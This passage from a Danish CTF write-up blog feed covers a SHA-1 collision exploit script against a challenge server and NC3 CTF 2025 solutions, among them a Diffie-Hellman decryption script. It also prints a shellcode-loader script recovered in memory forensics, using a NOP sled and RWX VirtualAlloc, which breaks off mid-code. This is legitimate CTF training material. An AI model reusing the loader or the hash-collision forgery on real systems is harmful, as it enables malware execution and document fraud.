</span></span><span class="line"><span class="cl">    <span class="k">assert</span> <span class="n">verify_locally</span><span class="p">(</span><span class="n">payload</span><span class="p">),</span> <span class="s2">&#34;Local checks FAILED — aborting.&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[+] All local checks passed!</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[*] Connecting to server…&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s2">&#34;thecontract-23a75c6f.camp11.c4mp.site&#34;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">,</span> <span class="n">ssl</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;contract:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># Send exactly 512 bytes — server&#39;s read(512) returns immediately, no EOF needed</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">r</span><span class="o">.</span><span class="n">recvall</span><span class="p">(</span><span class="n">timeout</span><span class="o">=</span><span class="mi">15</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="n">errors</span><span class="o">=</span><span class="s2">&#34;replace&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;[*] Server response:&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">r</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p>Efter at have kørt ovenstående script kunne jeg se at alle checks blev bestået og at serveren returnerede flaget.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">[*] Fetching sha1-1.pdf collision blocks from GitHub…
</span></span><span class="line"><span class="cl">[*] Payload size: 512 bytes (limit: 512)
</span></span><span class="line"><span class="cl">[*] Local verification:
</span></span><span class="line"><span class="cl">[+] SHA1 matches APPROVED_SHA1 : True
</span></span><span class="line"><span class="cl">[+] MD5 differs from CACHED_MD5: True
</span></span><span class="line"><span class="cl">[+] &#39;Decision: APPROVE&#39; present : True
</span></span><span class="line"><span class="cl">[+] &#39;ASSETS ARE TRANSFERRED NOW&#39;: True
</span></span><span class="line"><span class="cl">[+] All local checks passed!
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">[*] Connecting to server…
</span></span><span class="line"><span class="cl">[x] Opening connection to thecontract-56436c07.camp09.c4mp.site on port[◐] Opening connection to thecontract-56436c07.camp09.c4mp.site on port 133Opening connection to thecontract-56436c07.camp09.c4mp.site on port[+] 7: Done
</span></span><span class="line"><span class="cl">[+] Receiving all data: Done (30B)
</span></span><span class="line"><span class="cl">[*] Closed connection to thecontract-56436c07.camp09.c4mp.site port 1337
</span></span><span class="line"><span class="cl">[*] Server response:
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">DDC{y0ur_l4wy3r_h4t3s_sha1}
</span></span></code></pre></div><p>Flag: <code>DDC{y0ur_l4wy3r_h4t3s_sha1}</code></p>
]]></content></item><item><title>NC3 CTF 2025 : Writeups</title><link>https://ha1fdan.xyz/en/posts/nc3_ctf_2025/</link><pubDate>Thu, 11 Dec 2025 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/nc3_ctf_2025/</guid><description>&lt;h1 id="nc3-ctf-2025"&gt;NC3 CTF 2025&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Team:&lt;/strong&gt; &lt;a href="https://nc3ctf.dk/teams/46"&gt;Campfire Security&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Total Score&lt;/strong&gt;: 6270 points @ 17th place&lt;/p&gt;
&lt;h2 id="challenges-jeg-løste-for-teamet"&gt;Challenges jeg løste for teamet:&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Kategori&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#rensdjyr-remix"&gt;RensDJyr Remix&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#rensdyrrygter"&gt;RensdyrRygter&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#drillenissen"&gt;Drillenissen&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#makulatoren"&gt;Makulatoren&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#humlebiens-flugt--1"&gt;Humlebiens Flugt 🐝 (1)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gremlinshop-autoriseret-adgang"&gt;Gremlinshop: Autoriseret Adgang&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#gremlinshop-begravet-i-m%C3%A6ngden"&gt;Gremlinshop: Begravet i mængden&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#nissrensics-r%C3%A6v-og-n%C3%B8gler"&gt;Nissrensics: Ræv og Nøgler&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Forensics&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#santashield-security-3"&gt;SantaShield Security #3&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2Root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#santashield-security-2"&gt;SantaShield Security #2&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Boot2Root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#%C3%B8nskomania-6000"&gt;Ønskomania 6000&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#%C3%B8nskomania-7000"&gt;Ønskomania 7000&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#minos-1-initial-access"&gt;Minos 1: Initial Access&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#humlebiens-flugt--2"&gt;Humlebiens Flugt 🐝🐝 (2)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#%C3%B8nskomafia"&gt;Ønskomafia&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Crypto&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#julekortet"&gt;Julekortet&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Reversing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#ace0fbase"&gt;Ace0fbase&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Kom godt i gang&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#minos-5-panel"&gt;Minos 5: Panel&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#minos-7-takedown"&gt;Minos 7: Takedown&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#minos-6-server"&gt;Minos 6: Server&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#minos-4-infostealer"&gt;Minos 4: Infostealer&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#humlebiens-flugt--3"&gt;Humlebiens Flugt 🐝🐝🐝 (3)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Malware&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="score-over-tid"&gt;Score over tid:&lt;/h2&gt;
&lt;p&gt;&lt;img src="https://ha1fdan.xyz/nc3_2025/Score_over_Time.png" alt="Score_over_Time.png"&gt;&lt;/p&gt;</description><content type="html"><![CDATA[<h1 id="nc3-ctf-2025">NC3 CTF 2025</h1>
<p><strong>Team:</strong> <a href="https://nc3ctf.dk/teams/46">Campfire Security</a></p>
<p><strong>Total Score</strong>: 6270 points @ 17th place</p>
<h2 id="challenges-jeg-løste-for-teamet">Challenges jeg løste for teamet:</h2>
<table>
	<thead>
			<tr>
					<th>Challenge</th>
					<th>Kategori</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><a href="#rensdjyr-remix">RensDJyr Remix</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#rensdyrrygter">RensdyrRygter</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#drillenissen">Drillenissen</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#makulatoren">Makulatoren</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#humlebiens-flugt--1">Humlebiens Flugt 🐝 (1)</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#gremlinshop-autoriseret-adgang">Gremlinshop: Autoriseret Adgang</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#gremlinshop-begravet-i-m%C3%A6ngden">Gremlinshop: Begravet i mængden</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#nissrensics-r%C3%A6v-og-n%C3%B8gler">Nissrensics: Ræv og Nøgler</a></td>
					<td>Forensics</td>
			</tr>
			<tr>
					<td><a href="#santashield-security-3">SantaShield Security #3</a></td>
					<td>Boot2Root</td>
			</tr>
			<tr>
					<td><a href="#santashield-security-2">SantaShield Security #2</a></td>
					<td>Boot2Root</td>
			</tr>
			<tr>
					<td><a href="#%C3%B8nskomania-6000">Ønskomania 6000</a></td>
					<td>Crypto</td>
			</tr>
			<tr>
					<td><a href="#%C3%B8nskomania-7000">Ønskomania 7000</a></td>
					<td>Crypto</td>
			</tr>
			<tr>
					<td><a href="#minos-1-initial-access">Minos 1: Initial Access</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#humlebiens-flugt--2">Humlebiens Flugt 🐝🐝 (2)</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#%C3%B8nskomafia">Ønskomafia</a></td>
					<td>Crypto</td>
			</tr>
			<tr>
					<td><a href="#julekortet">Julekortet</a></td>
					<td>Reversing</td>
			</tr>
			<tr>
					<td><a href="#ace0fbase">Ace0fbase</a></td>
					<td>Kom godt i gang</td>
			</tr>
			<tr>
					<td><a href="#minos-5-panel">Minos 5: Panel</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#minos-7-takedown">Minos 7: Takedown</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#minos-6-server">Minos 6: Server</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#minos-4-infostealer">Minos 4: Infostealer</a></td>
					<td>Malware</td>
			</tr>
			<tr>
					<td><a href="#humlebiens-flugt--3">Humlebiens Flugt 🐝🐝🐝 (3)</a></td>
					<td>Malware</td>
			</tr>
	</tbody>
</table>
<h2 id="score-over-tid">Score over tid:</h2>
<p><img src="/nc3_2025/Score_over_Time.png" alt="Score_over_Time.png"></p>
<h2 id="løsninger">Løsninger:</h2>
<hr>
<h2 id="rensdjyr-remix">RensDJyr Remix</h2>
<p>RensDJyr har lige droppet det hotteste remix af alle hackernissers yndlingssang på Nissify. Hans stil er speciel, og nogle skal nok vænne sig til tilføjelsen, men spectrakulært er det!</p>
<p>Man kan jo næsten høre farver og se musikken - kæmpe banger!</p>
<p>Vedhæftet fil: <a href="https://s3.ha1fdan.xyz/ha1fdan.xyz/ctf/nc3.2025/warmup_rensdjyr_remix.zip">warmup_rensdjyr_remix.zip</a></p>
<p><strong>Løsning:</strong> Ved at bruge et spektrumanalyseværktøj som <a href="https://www.audacityteam.org/">Audacity</a>, kunne jeg analysere lyden i filen og finde flaget skjult i frekvensspektret.
<img src="/nc3_2025/rensdjyr_remix.png" alt="Audacity frekvensspektret"></p>
<p>Flag: <code>NC3{VI_ER_SAMLET_HER_I_DAG_FOR_AT_HACKE}</code></p>
<hr>
<h2 id="rensdyrrygter">RensdyrRygter</h2>
<p>Springer og Lyn eeelsker at sladre til hinanden på Snissnap om de andre rensdyr, men nu vil Julemanden indføre chatkontrol og holde øje med dem. Men det er intet problem, de krypterer bare deres beskeder manuelt først for at omgå det.</p>
<p>Springer siger, de bare skal bruge &ldquo;Diffie-Hellman&rdquo; protokollen, og begge rensdyr har brugt et program til at danne et nøglepar. De har sendt deres offentlige nøgler til hinanden, og Springer er allerede begyndt at sende beskeder - men Lyn fatter altså stadig ikke, hvordan det virker.</p>
<p>Parametre:</p>
<ul>
<li>
<p>p: <code>0xAB359AA76A6773ED7A93B214DB0C25D0160817B8A893C001C761E198A3694509EBE87A5313E0349D95083E5412C9FC815BFD61F95DDECE43376550FDC624E92FF38A415783B97261204E05D65731BBA1CCFF0E84C8CD2097B75FECA1029261AE19A389A2E15D2939314B184AEF707B82EB94412065181D23E04BF065F4AC413F</code></p>
</li>
<li>
<p>g: <code>2</code></p>
</li>
<li>
<p>Lyns private nøgle: <code>0x486F762064752C20646574206865722065722062617265204C796E732070726976617465206B6579202D206875736B20696B6B652061742064656C652064656E206D6564206E6F67656E21</code></p>
</li>
<li>
<p>Lyns offentlige nøgle: <code>0x9A152AFABF57B00BDB6DD3E3AA68BCCB43628E6498F4357F9A89B13CEB0467C233DFCDDBD1BFF5C40AD1FE0663B0A5BB207DFA93BB8F6E0E1CAF78C674CF19636CD360A1C67B86CF45BC34C010FF37311ABF1F076A12F56C0E79906DE8BB1BE7B39CA981ED0D5C21C1402170E16A4BBD2A6FAB0F933F14DDE9F28EE599AB235C</code></p>
</li>
<li>
<p>Springers offentlige nøgle: <code>0x39E22730E9F0B9F9039A2FB9F1C665DA1A05717400682946BC445093C3DF8D6164C5319C37E5EF688D346CA46168EE025E0675756EB1CE63F84BAA3B159545159EE621498F23BE036BD0037201E35D01E1FAFFBBD3C5A5AA3152114870430CDE4A7B48A822A4478FD9C443CFBC73C328C152409D1223F7ACA502F736B15019DC</code></p>
</li>
</ul>
<p>Vedhæftet fil: <a href="/nc3_2025/warmup_rensdyrrygter.zip">warmup_rensdyrrygter.zip</a></p>
<p><strong>Løsning:</strong> Vi ved at der bliver brugt Diffie-Hellman, så vi kan beregne den fælles hemmelige nøgle ved at bruge Lyns private nøgle og Springers offentlige nøgle med formlen: <code>s = B^a mod p</code>. Vi kender <code>a</code> (Lyns private) og <code>B</code> (Springers offentlige), så vi kan bare regne <code>s</code> ud direkte. Nøglen til AES er <code>SHA256(long_to_bytes(s))</code>, præcis som i skabelonen. Til sidst skal vi bare læse hver linje i <code>skjult_sladder.txt</code>, hex-decode, AES-ECB decrypt, unpad og print indtil vi finder flag.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">unpad</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="s2">&#34;AB359AA76A6773ED7A93B214DB0C25D0160817B8A893C001C761E198A3694509EBE87A5313E0349D95083E5412C9FC815BFD61F95DDECE43376550FDC624E92FF38A415783B97261204E05D65731BBA1CCFF0E84C8CD2097B75FECA1029261AE19A389A2E15D2939314B184AEF707B82EB94412065181D23E04BF065F4AC413F&#34;</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">priv</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="s2">&#34;486F762064752C20646574206865722065722062617265204C796E732070726976617465206B6579202D206875736B20696B6B652061742064656C652064656E206D6564206E6F67656E21&#34;</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">spr</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="s2">&#34;39E22730E9F0B9F9039A2FB9F1C665DA1A05717400682946BC445093C3DF8D6164C5319C37E5EF688D346CA46168EE025E0675756EB1CE63F84BAA3B159545159EE621498F23BE036BD0037201E35D01E1FAFFBBD3C5A5AA3152114870430CDE4A7B48A822A4478FD9C443CFBC73C328C152409D1223F7ACA502F736B15019DC&#34;</span><span class="p">,</span><span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">spr</span><span class="p">,</span> <span class="n">priv</span><span class="p">,</span> <span class="n">p</span><span class="p">)))</span><span class="o">.</span><span class="n">digest</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;skjult_sladder.txt&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">ct</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">    <span class="n">pt</span> <span class="o">=</span> <span class="n">unpad</span><span class="p">(</span><span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_ECB</span><span class="p">)</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">ct</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">pt</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>Giver:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">[Springer - 07:49]  Du tror det er løgn, Rudolfs stalddør stod på klem i morges, og jeg så ham stå og farve sin næse med rød ansigtsmaling - er han for real?!? 🎨🦌 So fake
</span></span><span class="line"><span class="cl">[Springer - 09:12]  Hallå? Er du der eller hvad? Det er seriøst ikke så svært at få til at virke, du er så tabt man... 🤪
</span></span><span class="line"><span class="cl">[Springer - 10:44]  LOL, har lige hørt Julemanden stadig tror, det var nisserne, der spiste alle hans småkager 🍪🍪😆
</span></span><span class="line"><span class="cl">[Springer - 11:09]  No cap, jeg så lige Torden stå og tisse i gryden med gløgg til i aften - min mule er lukket, hvis din er! 🤫
</span></span><span class="line"><span class="cl">[Springer - 11:37]  Smukke fortalte mig den anden dag, at Nissakin, en af udviklernisserne, er blevet fyret for at force pushe et commit til main 😵‍💫
</span></span><span class="line"><span class="cl">[Springer - 12:24]  Ej, Komet er lige blevet spurgt på Snissnap, om han ville købe sne ❄️ Ved de ikke, vi bor på Nordpolen? 🙄
</span></span><span class="line"><span class="cl">[Springer - 12:59]  Helt ærligt, hvorfor svarer du slet ikke, har du ikke fået det til at virke endnu? 🤨 Du går glip af alt det sjove!!! 😉
</span></span><span class="line"><span class="cl">[Springer - 14:03]  Ahahahaha Konge prøvede at flexe sine guns for mig, men fik krampe og væltede 💪😂 Hans kinder blev seriøst rødere end Rudolfs næse 🔴
</span></span><span class="line"><span class="cl">[Springer - 14:08]  Seriøst, hvis du siger noget til Julemanden om, at hans kane sagtens kan flyve uden os, så er du et dødt rensdyr, vi har brug for arbejdet 💥
</span></span><span class="line"><span class="cl">[Springer - 14:28]  NC3{n0_w4y_h0rt3_l1g3_t0_n1ss3r_sn4kk3_0m_d3_l4v3r_4lt_d3r3s_l3g3t0j_m3d_AI_s3lv0m_Jull3_h4r_f0rbudt_d3t} 💀🤖
</span></span><span class="line"><span class="cl">[Springer - 15:17]  Hørte du for resten, at Julemanden glemte at opdatere sin GPS sidste år og kom til at levere 14 gaver til en parkeringskælder? 🎁🤣🤣🤣
</span></span><span class="line"><span class="cl">[Springer - 16:53]  Tror altså Amor og Danser har noget kørende, de bliver ved med at sniffe hinanden i bagdelen 🫣
</span></span><span class="line"><span class="cl">[Springer - 18:10]  Ah men det er jo som at snakke til en væg, hvor bliver du af bro? 😠
</span></span></code></pre></div><p>Flag: <code>NC3{n0_w4y_h0rt3_l1g3_t0_n1ss3r_sn4kk3_0m_d3_l4v3r_4lt_d3r3s_l3g3t0j_m3d_AI_s3lv0m_Jull3_h4r_f0rbudt_d3t}</code></p>
<hr>
<h2 id="drillenissen">Drillenissen</h2>
<p>Drillenissen har været på spil i Nisseværkstedet og har haft adgang til en computer. Julemandens hjælpere mistænker, at der er foregået en større mængde drillenisseri på en af computerne og har derfor taget et memory dump.</p>
<p>Kan du finde ud af, hvad drillenissen har kørt på systemet, og hvad det har skjult?</p>
<p>Vedhæftet fil: <a href="https://s3.ha1fdan.xyz/ha1fdan.xyz/ctf/nc3.2025/forensics_drillenissen.zip">forensics_drillenissen.zip</a> <em>(1.2 GiB)</em></p>
<p><strong>Løsning:</strong> Ved at analysere memory dumpen med værktøjer som Volatility finder jeg en python fil, der indeholder noget kode, som ser mistænkelig ud.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ctypes</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">mmap</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">time</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">KEY</span>      <span class="o">=</span> <span class="mh">0x42</span>
</span></span><span class="line"><span class="cl"><span class="n">BUF_SIZE</span> <span class="o">=</span> <span class="mh">0x1000</span>
</span></span><span class="line"><span class="cl"><span class="n">NOP</span>      <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x90</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">BASE_DIR</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">abspath</span><span class="p">(</span><span class="vm">__file__</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">THIS_FILE</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">abspath</span><span class="p">(</span><span class="vm">__file__</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">THIS_FILE</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">mm_script</span> <span class="o">=</span> <span class="n">mmap</span><span class="o">.</span><span class="n">mmap</span><span class="p">(</span><span class="n">f</span><span class="o">.</span><span class="n">fileno</span><span class="p">(),</span> <span class="mi">0</span><span class="p">,</span> <span class="n">access</span><span class="o">=</span><span class="n">mmap</span><span class="o">.</span><span class="n">ACCESS_READ</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">_</span> <span class="o">=</span> <span class="n">mm_script</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>      
</span></span><span class="line"><span class="cl">    <span class="n">mm_script</span><span class="o">.</span><span class="n">seek</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>        
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">secret_path</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">BASE_DIR</span><span class="p">,</span> <span class="s2">&#34;secret.bin&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">secret_path</span><span class="p">,</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">encoded</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">raw</span> <span class="o">=</span> <span class="n">NOP</span> <span class="o">*</span> <span class="mi">200</span> <span class="o">+</span> <span class="n">encoded</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">raw</span><span class="p">)</span> <span class="o">&lt;</span> <span class="n">BUF_SIZE</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">raw</span> <span class="o">+=</span> <span class="n">NOP</span> <span class="o">*</span> <span class="p">(</span><span class="n">BUF_SIZE</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">raw</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">raw</span> <span class="o">=</span> <span class="n">raw</span><span class="p">[:</span><span class="n">BUF_SIZE</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">kernel32</span> <span class="o">=</span> <span class="n">ctypes</span><span class="o">.</span><span class="n">WinDLL</span><span class="p">(</span><span class="s2">&#34;kernel32&#34;</span><span class="p">,</span> <span class="n">use_last_error</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">PAGE_EXECUTE_READWRITE</span> <span class="o">=</span> <span class="mh">0x40</span>
</span></span><span class="line"><span class="cl"><span class="n">MEM_COMMIT</span>  <span class="o">=</span> <span class="mh">0x1000</span>
</span></span><span class="line"><span class="cl"><span class="n">MEM_RESERVE</span> <span class="o">=</span> <span class="mh">0x2000</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">kernel32</span><span class="o">.</span><span class="n">VirtualAlloc</span><span class="o">.</span><span class="n">restype</span>  <span class="o">=</span> <span class="n">ctypes</span><span class="o">.</span><span class="n">c_void_p</span>
</span></span><span class="line"><span class="cl"><span class="n">kernel32</span><span class="o">.</span><span class="n">VirtualAlloc</span><span class="o">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="n">ctypes</span><span class="o">.</span><span class="n">c_void_p</span><span class="p">,</span>
